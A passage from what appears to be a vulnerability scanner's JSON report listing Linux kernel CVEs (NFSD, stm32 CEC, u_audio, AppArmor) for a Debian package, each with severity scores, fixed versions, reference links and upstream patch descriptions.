manage_cpntf_state() has\nthe same exposure via idr_find().\n\nDuplicate the fields first, then register the stateid on the stable\nasync_copy. result-\u003ecb_stateid is unchanged.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "bottlerocket": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89676", "https://access.redhat.com/errata/RHSA-2026:77690", "https://access.redhat.com/security/cve/CVE-2026-89676", "https://bugzilla.redhat.com/2436771", "https://bugzilla.redhat.com/2497032", "https://bugzilla.redhat.com/2499742", "https://bugzilla.redhat.com/2502222", "https://bugzilla.redhat.com/2502411", "https://bugzilla.redhat.com/2502476", "https://bugzilla.redhat.com/2502593", "https://bugzilla.redhat.com/2516705", "https://bugzilla.redhat.com/2521498", "https://bugzilla.redhat.com/2524431", "https://bugzilla.redhat.com/2532103", "https://bugzilla.redhat.com/2532111", "https://bugzilla.redhat.com/2532218", "https://bugzilla.redhat.com/2532219", "https://bugzilla.redhat.com/2532231", "https://bugzilla.redhat.com/2532272", "https://bugzilla.redhat.com/show_bug.cgi?id=2436771", "https://bugzilla.redhat.com/show_bug.cgi?id=2497032", "https://bugzilla.redhat.com/show_bug.cgi?id=2499742", "https://bugzilla.redhat.com/show_bug.cgi?id=2502222", "https://bugzilla.redhat.com/show_bug.cgi?id=2502411", "https://bugzilla.redhat.com/show_bug.cgi?id=2502476", "https://bugzilla.redhat.com/show_bug.cgi?id=2502593", "https://bugzilla.redhat.com/show_bug.cgi?id=2516705", "https://bugzilla.redhat.com/show_bug.cgi?id=2521498", "https://bugzilla.redhat.com/show_bug.cgi?id=2524431", "https://bugzilla.redhat.com/show_bug.cgi?id=2532103", "https://bugzilla.redhat.com/show_bug.cgi?id=2532111", "https://bugzilla.redhat.com/show_bug.cgi?id=2532218", "https://bugzilla.redhat.com/show_bug.cgi?id=2532219", "https://bugzilla.redhat.com/show_bug.cgi?id=2532231", "https://bugzilla.redhat.com/show_bug.cgi?id=2532272", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23103", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53360", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53365", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53398", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63970", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64035", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64115", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72317", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74705", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74744", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89530", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89663", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89675", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89676", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89690", "https://errata.almalinux.org/10/ALSA-2026-77690.html", "https://errata.rockylinux.org/RLSA-2026:77690", "https://git.kernel.org/linus/d0beaee498e11880e72826026db0e9c9890fc114%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89676.mbox", "https://git.kernel.org/stable/c/14b978e8d05ce018d0afbeb6611833ef91713a02", "https://git.kernel.org/stable/c/745b2edfdd96b8738a94dee450adff4c7d026d5b", "https://git.kernel.org/stable/c/7aa34ea78f74e6ef60c8112635a87fc43d57f6c9", "https://git.kernel.org/stable/c/9b4e5e9ba5ae13808b8a6d229d87c54611ba0e7a", "https://git.kernel.org/stable/c/bdce362f49410b9def65d76c21f6259cd89696d8", "https://git.kernel.org/stable/c/d0beaee498e11880e72826026db0e9c9890fc114", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.5.0/BRSA-dtxo0jiaqv7j.toml", "https://linux.oracle.com/cve/CVE-2026-89676.html", "https://linux.oracle.com/errata/ELSA-2026-77690.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89676", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89676" ], "PublishedDate": "2026-09-11T20:19:54.273Z", "LastModifiedDate": "2026-10-30T13:20:25.82Z" }, { "VulnerabilityID": "CVE-2026-89690", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89690", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e878036ce77ca70f9696343644aec3763732ea2216f3e98bab6b111ffa02d94f", "Title": "kernel: nfsd: defer vfree of compound ops to fix rpc_status UAF", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnfsd: defer vfree of compound ops to fix rpc_status UAF\n\nThe rpc_status netlink dumpit walks every in-flight svc_rqst under\nrcu_read_lock and, for NFSv4 requests, reads opnums out of\nargs-\u003eops[]. But args-\u003eops is a separate vmalloc buffer freed\nsynchronously by vfree() in nfsd4_release_compoundargs() at the end\nof every compound. The dumpit's rcu_read_lock pins the svc_rqst\nstruct itself (freed via kfree_rcu), but nothing defers the vfree\nof the ops buffer across the RCU grace period. A concurrent compound\ncompletion can therefore free the buffer while the dumpit is reading\nit — a use-after-free on vmalloc memory.\n\nThe trailing seqcount recheck (smp_load_acquire of rq_status_counter)\ncannot undo a load that already retired against freed memory.\n\nFix by replacing vfree(args-\u003eops) with kvfree_rcu_mightsleep(), which\ndefers the free until after an RCU grace period. This makes the\nexisting rcu_read_lock in the dumpit sufficient to protect the read.\nThe tradeoff is that completed compound ops buffers (up to\n200 * sizeof(struct nfsd4_op)) persist in memory slightly longer,\nacross one grace period, before being reclaimed.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:77689", "https://access.redhat.com/security/cve/CVE-2026-89690", "https://bugzilla.redhat.com/2436771", "https://bugzilla.redhat.com/2497032", "https://bugzilla.redhat.com/2499742", "https://bugzilla.redhat.com/2502222", "https://bugzilla.redhat.com/2502411", "https://bugzilla.redhat.com/2502476", "https://bugzilla.redhat.com/2502521", "https://bugzilla.redhat.com/2502593", "https://bugzilla.redhat.com/2516705", "https://bugzilla.redhat.com/2524431", "https://bugzilla.redhat.com/2532103", "https://bugzilla.redhat.com/2532111", "https://bugzilla.redhat.com/2532218", "https://bugzilla.redhat.com/2532231", "https://bugzilla.redhat.com/show_bug.cgi?id=2436771", "https://bugzilla.redhat.com/show_bug.cgi?id=2497032", "https://bugzilla.redhat.com/show_bug.cgi?id=2499742", "https://bugzilla.redhat.com/show_bug.cgi?id=2502222", "https://bugzilla.redhat.com/show_bug.cgi?id=2502411", "https://bugzilla.redhat.com/show_bug.cgi?id=2502476", "https://bugzilla.redhat.com/show_bug.cgi?id=2502521", "https://bugzilla.redhat.com/show_bug.cgi?id=2502593", "https://bugzilla.redhat.com/show_bug.cgi?id=2516705", "https://bugzilla.redhat.com/show_bug.cgi?id=2524431", "https://bugzilla.redhat.com/show_bug.cgi?id=2532103", "https://bugzilla.redhat.com/show_bug.cgi?id=2532111", "https://bugzilla.redhat.com/show_bug.cgi?id=2532218", "https://bugzilla.redhat.com/show_bug.cgi?id=2532231", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23103", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53360", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53365", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53398", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63970", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64035", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64115", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64162", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72317", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74744", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89530", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89663", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89690", "https://errata.almalinux.org/9/ALSA-2026-77689.html", "https://errata.rockylinux.org/RLSA-2026:77689", "https://git.kernel.org/linus/fca26a3fc19ed02278aa2a150af82d43db0302cb%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89690.mbox", "https://git.kernel.org/stable/c/19413ccc45070a7270b9e25c2a258daf7f91de42", "https://git.kernel.org/stable/c/48f72aff24f7a7329209dc6cbc27c869f3e3595c", "https://git.kernel.org/stable/c/6703199f4d7e7f37d6a726a849eb358e8fae72fb", "https://git.kernel.org/stable/c/fca26a3fc19ed02278aa2a150af82d43db0302cb", "https://linux.oracle.com/cve/CVE-2026-89690.html", "https://linux.oracle.com/errata/ELSA-2026-77690.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89690", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89690" ], "PublishedDate": "2026-09-11T20:19:56.03Z", "LastModifiedDate": "2026-10-19T09:18:07.5Z" }, { "VulnerabilityID": "CVE-2026-89708", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89708", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:4b21d6bf8b4b1cb9240fb6a18666eb39c5c10e6b935b27e9795e34cf1413688a", "Title": "kernel: nfsd: RCU-protect cl_cb_session to fix use-after-free on session teardown", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnfsd: RCU-protect cl_cb_session to fix use-after-free on session teardown\n\nAfter a DESTROY_SESSION the per-session teardown path can free a\nsession while rpciod still holds an inflight callback rpc_task that\ndereferences clp-\u003ecl_cb_session. nfsd4_probe_callback_sync() flushes\ncl_callback_wq, but once nfsd4_run_cb_work() has called\nrpc_call_async() the rpc_task lives on rpciod; flushing the workqueue\ndoes not wait for it. rpc_shutdown_client() does drain rpciod tasks,\nbut uses a 1-second wait_event_timeout — tasks stuck in rpc_delay()\n(e.g. 2-second NFS4ERR_DELAY retries) can outlive the drain.\n\n destroy path rpciod\n ------------ ------\n unhash_session(ses)\n nfsd4_probe_callback_sync(clp)\n flush_workqueue(cl_callback_wq)\n /* returns; rpc_task still live */\n nfsd4_put_session_locked(ses)\n free_session(ses) -\u003e kfree(ses)\n nfsd4_cb_sequence_done()\n reads cb_clp-\u003ecl_cb_session\n /* freed slab */\n\nA second window exists in nfsd4_process_cb_update(). When\n__nfsd4_find_backchannel() returns NULL because unhash_session() has\nalready removed the destroyed session from cl_sessions,\nsetup_callback_client() takes the v4.1 early return so\nclp-\u003ecl_cb_session = ses never fires and the field retains a pointer\nto the about-to-be-freed session.\n\nFix both by converting cl_cb_session to an RCU-protected pointer:\n\n - Move the cl_cb_session = ses assignment in setup_callback_client()\n to after rpc_create() succeeds, so it is only published when a\n working backchannel exists. Clear cl_cb_session on the error\n return in nfsd4_process_cb_update(). Both stores use\n rcu_assign_pointer().\n\n - Annotate cl_cb_session with __rcu. All rpciod-side readers use\n rcu_read_lock()/rcu_dereference() and check for NULL, bailing to\n the appropriate error or requeue path:\n encode_cb_sequence4args(), decode_cb_sequence4resok(),\n nfsd41_cb_get_slot(), nfsd41_cb_release_slot(),\n nfsd4_cb_prepare(), and nfsd4_cb_sequence_done().\n\n - Switch __free_session() from kfree() to kfree_rcu() so the\n session slab is not reclaimed until after an RCU grace period,\n guaranteeing that rpciod readers inside rcu_read_lock() never\n dereference freed memory.\n\n - Pass the session pointer to the nfsd_cb_seq_status and\n nfsd_cb_free_slot tracepoints instead of having them re-read\n cl_cb_session.\n\n - nfsd4_cb_prepare() calls rpc_exit() when the session is NULL,\n routing through the done/release path to requeue the callback.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "bottlerocket": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 4 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.5 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89708", "https://access.redhat.com/security/cve/CVE-2026-89708", "https://git.kernel.org/linus/01c5d5f58a5db9b0ee5afba2e49d3157788687b2%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89708.mbox", "https://git.kernel.org/stable/c/01c5d5f58a5db9b0ee5afba2e49d3157788687b2", "https://git.kernel.org/stable/c/13bdd486c3aad4fc19e6d8b9c3556a4b4c190b25", "https://git.kernel.org/stable/c/2775ec1d617e665eab71ce0f13ab1f7959713a2b", "https://git.kernel.org/stable/c/f164eb52b6f3cbf40f07fe379f9f421f88e02f76", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.5.0/BRSA-yzlrrzxyudiw.toml", "https://linux.oracle.com/cve/CVE-2026-89708.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89708", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89708" ], "PublishedDate": "2026-09-11T20:19:58.14Z", "LastModifiedDate": "2026-10-19T09:18:09.59Z" }, { "VulnerabilityID": "CVE-2026-89713", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89713", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:84be149195a1f8a11953667aabac507c5b3e2c95274d0799783e4a5515f083bb", "Title": "kernel: NFSD: check truncate permission under inode lock", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nNFSD: check truncate permission under inode lock\n\nnfsd_setattr() checks whether a size update needs NFSD_MAY_TRUNC\nbefore it takes inode_lock(). The comparison uses the file size sampled\nby that unlocked read, but the actual ATTR_SIZE update is applied later\nunder inode_lock() by notify_change().\n\nThis leaves a TOCTOU window for append-only files. If a client sends a\nSETATTR that does not shrink the file at the time of the unlocked\nsample, a concurrent append can extend the file before nfsd_setattr()\ntakes inode_lock(). notify_change() then applies a real truncation\nwithout the NFSD_MAY_TRUNC check that rejects IS_APPEND(inode). The VFS\ntruncate syscall paths perform their own append-only checks before\ncalling notify_change(), so NFSD must make this decision against the\nlocked size it is about to change.\n\nSplit the write-count acquisition from the truncation permission check.\nKeep get_write_access() before the locked setattr work, then recheck\nwhether the requested size is below i_size_read(inode) after inode_lock()\nhas been acquired and before notify_change(ATTR_SIZE). This also avoids\nthe plain unlocked inode-\u003ei_size load.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 1 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-89713", "https://git.kernel.org/linus/b778e0e0a16759f22a70579c3cf8d254a40d4a7f%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89713.mbox", "https://git.kernel.org/stable/c/0669861a2e8e2bdb9c1149417d8ad821996ae4fe", "https://git.kernel.org/stable/c/3afa17d93ba8c925f49370c816c6dae5112d8c24", "https://git.kernel.org/stable/c/44086254479035de42ca3d286ecf25521d4e6325", "https://git.kernel.org/stable/c/52d0c5bdfe232c9974d4b11f97078b9c7814f05d", "https://git.kernel.org/stable/c/b778e0e0a16759f22a70579c3cf8d254a40d4a7f", "https://git.kernel.org/stable/c/d8352da196349182e1afd5a93308256cddc0a97d", "https://linux.oracle.com/cve/CVE-2026-89713.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89713", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89713" ], "PublishedDate": "2026-09-11T20:19:58.743Z", "LastModifiedDate": "2026-10-30T13:20:27.27Z" }, { "VulnerabilityID": "CVE-2026-89725", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89725", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2ced61d2064d9a24e06dda4df0456cda01268d41321d266e494b5726d88131e0", "Title": "kernel: media: cec: stm32: prevent out-of-bounds write on RX overflow", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nmedia: cec: stm32: prevent out-of-bounds write on RX overflow\n\nstm32_rx_done() appends each received CEC byte to rx_msg.msg[] using\nrx_msg.len as the write index, incrementing it on every RXBR\n(receive-byte-ready) interrupt without checking it against the buffer\nsize:\n\n\tcec-\u003erx_msg.msg[cec-\u003erx_msg.len++] = val \u0026 0xFF;\n\nrx_msg.msg[] is a fixed CEC_MAX_MSG_SIZE (16) byte array in struct\ncec_msg, and rx_msg.len is only reset on RXACKE/RXOVR or after a\ncompleted message (RXEND). The number of bytes received before RXEND is\ndecided by the remote CEC device (it sets EOM), not by the driver. A\npeer that keeps sending bytes without ending the message drives RXBR\nrepeatedly, pushing rx_msg.len past 16 and writing peer-controlled bytes\nout of bounds into the surrounding memory. This is reachable in normal\noperation once the driver has probed and receiving is enabled, from the\nIRQ thread, without any local privilege.\n\nThe length check in the CEC core runs on the consumer side, after the\nbyte has been stored, so it does not prevent the overflow. Bound the\nindex in the driver before the store, as the other platform CEC drivers\nalready do (e.g. tegra_cec), dropping the excess bytes of an overlong\nframe.\n\nFound by static analysis tool CodeQL.", "Severity": "HIGH", "VendorSeverity": { "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-89725", "https://git.kernel.org/linus/fb9dda38d4b9e90db07ed9a0ee2d35bf85494035%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89725.mbox", "https://git.kernel.org/stable/c/0c260d3f97e52978a8c769bb095ac0901333a3ac", "https://git.kernel.org/stable/c/1b4fdefd788db990d1805feb5c7b2388de791ecd", "https://git.kernel.org/stable/c/37ac45f7d6e3a6a5dcf6452a0b7bad9a543e8344", "https://git.kernel.org/stable/c/3df1a4026662121011187247897fe95fd84e8a3a", "https://git.kernel.org/stable/c/a85ce3b175615c2e13bc01e8a1b6b6b6910fde57", "https://git.kernel.org/stable/c/c3edd7fb8e3692423a702705509947fc9c30b3d1", "https://git.kernel.org/stable/c/f2499b720ea9b874d58770885c6c2e8445a8c3ef", "https://git.kernel.org/stable/c/fb9dda38d4b9e90db07ed9a0ee2d35bf85494035", "https://nvd.nist.gov/vuln/detail/CVE-2026-89725", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89725" ], "PublishedDate": "2026-09-11T20:20:02.567Z", "LastModifiedDate": "2026-10-19T09:18:13.663Z" }, { "VulnerabilityID": "CVE-2026-89736", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89736", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:5ee256e855f659726f5b12aeeb022a74b8bca514e0b5242fb6542a08e388a976", "Title": "kernel: usb: gadget: u_audio: Fix use-after-free on sound card disconnect", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: gadget: u_audio: Fix use-after-free on sound card disconnect\n\ng_audio_cleanup() invokes snd_card_free_when_closed() to initiate sound\ncard teardown and immediately frees the underlying struct snd_uac_chip\ncontext. However, snd_card_free_when_closed() returns asynchronously\nwhile ALSA control elements (kctls) remain open in userspace.\n\nWhen userspace control applications access or close these open file\ndescriptors, kctl callbacks attempt to dereference kctl-\u003eprivate_data\npointing to \u0026uac-\u003ec_prm or \u0026uac-\u003ep_prm within the freed uac structure,\nresulting in a use-after-free (UAF) memory corruption.\n\nFix this issue by deferring the destruction of struct snd_uac_chip until\nall references to the ALSA sound card are released. Register a custom\ncard-\u003eprivate_free callback (u_audio_card_free) during g_audio_setup()\nthat frees uac and its associated playback/capture request and ring\nbuffers only when the sound card reference count drops to zero.", "Severity": "HIGH", "VendorSeverity": { "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-89736", "https://git.kernel.org/linus/858965947081d10d41d9a1010a540d3d5eea958b%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89736.mbox", "https://git.kernel.org/stable/c/4e747c864a88537e18b1ffc19a1954c9686bb8e1", "https://git.kernel.org/stable/c/6f46762196f04464e1050a9ee94e72b917db9010", "https://git.kernel.org/stable/c/79a92896e2bb9471550c56fc23d8d93592f04c27", "https://git.kernel.org/stable/c/858965947081d10d41d9a1010a540d3d5eea958b", "https://git.kernel.org/stable/c/891a8d11f4d5eb50b2ce7570f4f98204a7a57493", "https://git.kernel.org/stable/c/a7ecd1a04f4f485d7be6443d0f0b2c61a800cb82", "https://git.kernel.org/stable/c/c74ff0b1a0fca53d3ac185873c87d6a719b30a47", "https://git.kernel.org/stable/c/f983793f03148b097977f200298db215cd2d4438", "https://nvd.nist.gov/vuln/detail/CVE-2026-89736", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89736" ], "PublishedDate": "2026-09-11T20:20:04.077Z", "LastModifiedDate": "2026-10-19T09:18:16.323Z" }, { "VulnerabilityID": "CVE-2026-89761", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89761", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:234628fd5e219872c7e6f333d190b04759263863befd368d0a6101c3cdcccdeb", "Title": "kernel: apparmor: fix out-of-bounds write when null terminating a label vec", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\napparmor: fix out-of-bounds write when null terminating a label vec\n\naa_vec_unique() null terminates at vec[n - dups] when VEC_FLAG_TERMINATE\nis passed. If the components are all distinct no duplicates are dropped,\ndups is 0 and the terminator goes to vec[n], so the caller has to provide\nroom for n + 1 entries.\n\naa_label_strn_parse() sets up its vector with vec_setup(profile, vec, len,\ngfp) and then calls aa_vec_unique(vec, len, VEC_FLAG_TERMINATE), but\nvec_setup() does not reserve the terminator entry. Up to LOCAL_VEC_ENTRIES\nit uses the local array of LOCAL_VEC_ENTRIES pointers, above that it\nallocates exactly len pointers. The terminator therefore lands one entry\npast the end of the local array when len is LOCAL_VEC_ENTRIES, and one\nentry past the end of the allocation when len is larger.\n\nlen comes from the number of \"//\u0026\" separated components in the label name\nand label_count_strn_entries() does not bound it. An unprivileged task\nreaches the parse by writing to /proc/self/attr/apparmor/current or through\nlsm_set_self_attr(2), both of which go through do_setattr(), and the name\nis parsed before the change_profile permission is checked.\nThe query_label() path behind the securityfs .access file, which is\nmode 0666, performs no permission check at all. Every component has to\nresolve to a loaded profile, so a system with policy loaded is required.\n\nThe other two VEC_FLAG_TERMINATE users work on a label vec that\naa_label_alloc() has already sized with \"+ 1 for null terminator entry on\nvec\". Reserve the same entry in vec_setup() and DEFINE_VEC(). Passing\nlen + 1 from the caller instead would move len == LOCAL_VEC_ENTRIES out of\nthe local array and into kzalloc().", "Severity": "HIGH", "VendorSeverity": { "azure": 2, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-89761", "https://git.kernel.org/linus/9f1e40193eef7f047e6b77cfb4b4cafdecd7a123%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89761.mbox", "https://git.kernel.org/stable/c/0d4cb3af82556afc48f90fd3e8a126ff32343f41", "https://git.kernel.org/stable/c/28069434aef66b9d084f0609b7a29c171846815e", "https://git.kernel.org/stable/c/36bdd0b45ec3f4822832a56e9db8674c8450dfce", "https://git.kernel.org/stable/c/40fdee1cb4f18e6a1a21a891ae4735bcd4d35026", "https://git.kernel.org/stable/c/57bb24025f450728f342d8e08cd3909c89361d90", 